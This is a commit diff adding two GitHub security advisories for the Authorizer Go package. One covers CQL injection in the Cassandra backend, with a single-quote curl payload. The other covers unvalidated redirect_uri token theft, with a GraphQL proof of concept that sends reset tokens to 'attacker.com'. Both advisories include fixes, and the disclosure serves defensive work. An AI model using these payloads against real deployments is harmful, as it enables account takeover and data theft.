Skip to content

Commit bf0625b

Browse files
1 parent 3c0c934 commit bf0625b

2 files changed

Lines changed: 135 additions & 0 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jfwg-rxf3-p7r9",
4+
"modified": "2026-04-06T17:56:31Z",
5+
"published": "2026-04-06T17:56:31Z",
6+
"aliases": [],
7+
"summary": "Authorizer: CQL/N1QL Injection in Cassandra and Couchbase Backends via fmt.Sprintf String Interpolation",
8+
"details": "## Vulnerability Details\n\n**CWE:** CWE-943 - Improper Neutralization of Special Elements in Data Query Logic\n\nAll 66+ CQL queries in `internal/storage/db/cassandradb/` use `fmt.Sprintf` to interpolate user-controlled values directly into CQL query strings without parameterization.\n\nUnauthenticated endpoints (`signup`, `login`, `forgot_password`, `magic_link_login`) pass user input directly into CQL query strings.\n\n**Note:** This advisory covers the Cassandra CQL injection only. The Couchbase N1QL injection is tracked in a separate advisory per CVE rule 4.2.11.\n\n## Affected Code Pattern\n\n```go\n// Before (VULNERABLE) - e.g. cassandradb/user.go\nquery := fmt.Sprintf(\"SELECT ... FROM %s WHERE email = '%s'\", table, email)\nerr := p.db.Query(query).Scan(...)\n```\n\n## Steps to Reproduce\n\n1. Deploy Authorizer <= 2.0.0 with Cassandra backend\n2. Send a signup request with a CQL injection payload in the email field:\n\n```bash\ncurl -X POST http://localhost:8080/graphql \\\n -H 'Content-Type: application/json' \\\n -d '{\"query\":\"mutation { signup(params: { email: \\\"test'\\\" }) { message } }\"}'\n```\n\n3. The single quote breaks out of the CQL string literal, causing a CQL parse error that leaks internal schema information\n4. Crafted payloads can manipulate query logic to bypass authentication or extract data\n\n## Affected Files (10 Cassandra files)\n\n| Package | File | Queries Fixed |\n|---------|------|--------------|\n| cassandradb | user.go | 7 |\n| cassandradb | otp.go | 4 |\n| cassandradb | session_token.go | 19 |\n| cassandradb | verification_requests.go | 4 |\n| cassandradb | authenticator.go | 3 |\n| cassandradb | email_template.go | 5 |\n| cassandradb | webhook.go | 5 |\n| cassandradb | webhook_log.go | 2 |\n| cassandradb | session.go | 1 |\n| cassandradb | env.go | 2 |\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary CQL operators through the email, phone, or token parameters on public-facing endpoints (signup, login, forgot_password, magic_link_login). This enables authentication bypass and data exfiltration from the Cassandra keyspace.\n\n## Proposed Fix\n\nUse parameterized queries:\n\n```go\n// After (FIXED)\nquery := fmt.Sprintf(\"SELECT ... FROM %s WHERE email = ?\", table)\nerr := p.db.Query(query, email).Scan(...)\n```\n\nFixed in https://github.com/authorizerdev/authorizer/pull/500 (merged 2026-03-27).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/authorizerdev/authorizer"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.0.0-20260327055742-73679faa53cd"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-jfwg-rxf3-p7r9"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/authorizerdev/authorizer/pull/500"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/authorizerdev/authorizer/commit/73679faa53cd215c7524d651046e402c43809786"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/authorizerdev/authorizer"
52+
},
53+
{
54+
"type": "WEB",
55+
"url": "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
56+
}
57+
],
58+
"database_specific": {
59+
"cwe_ids": [
60+
"CWE-209",
61+
"CWE-943"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-06T17:56:31Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x3f4-v83f-7wp2",
4+
"modified": "2026-04-06T17:59:27Z",
5+
"published": "2026-04-06T17:59:27Z",
6+
"aliases": [],
7+
"summary": "Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri",
8+
"details": "Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n redirectURI = refs.StringValue(params.RedirectURI)\n }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n func GetForgotPasswordURL(token, redirectURI string) string {\n verificationURL := redirectURI + \"?token=\" + token\n return verificationURL\n }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n return\n }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n params := \"access_token=\" + authToken.AccessToken.Token +\n \"&token_type=bearer&expires_in=\" + ... +\n \"&id_token=\" + authToken.IDToken.Token + \"&nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.\n\n## PoC\n\n mutation {\n forgot_password(params: {\n email: \"victim@example.com\"\n redirect_uri: \"https://attacker.com/steal\"\n }) {\n message\n }\n }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/authorizerdev/authorizer"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.0.0-20260329085140-6d9bef1aaba3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/authorizerdev/authorizer/pull/502"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/authorizerdev/authorizer"
52+
},
53+
{
54+
"type": "WEB",
55+
"url": "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
56+
}
57+
],
58+
"database_specific": {
59+
"cwe_ids": [
60+
"CWE-601"
61+
],
62+
"severity": "HIGH",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-04-06T17:59:27Z",
65+
"nvd_published_at": null
66+
}
67+
}

0 commit comments

Comments
 (0)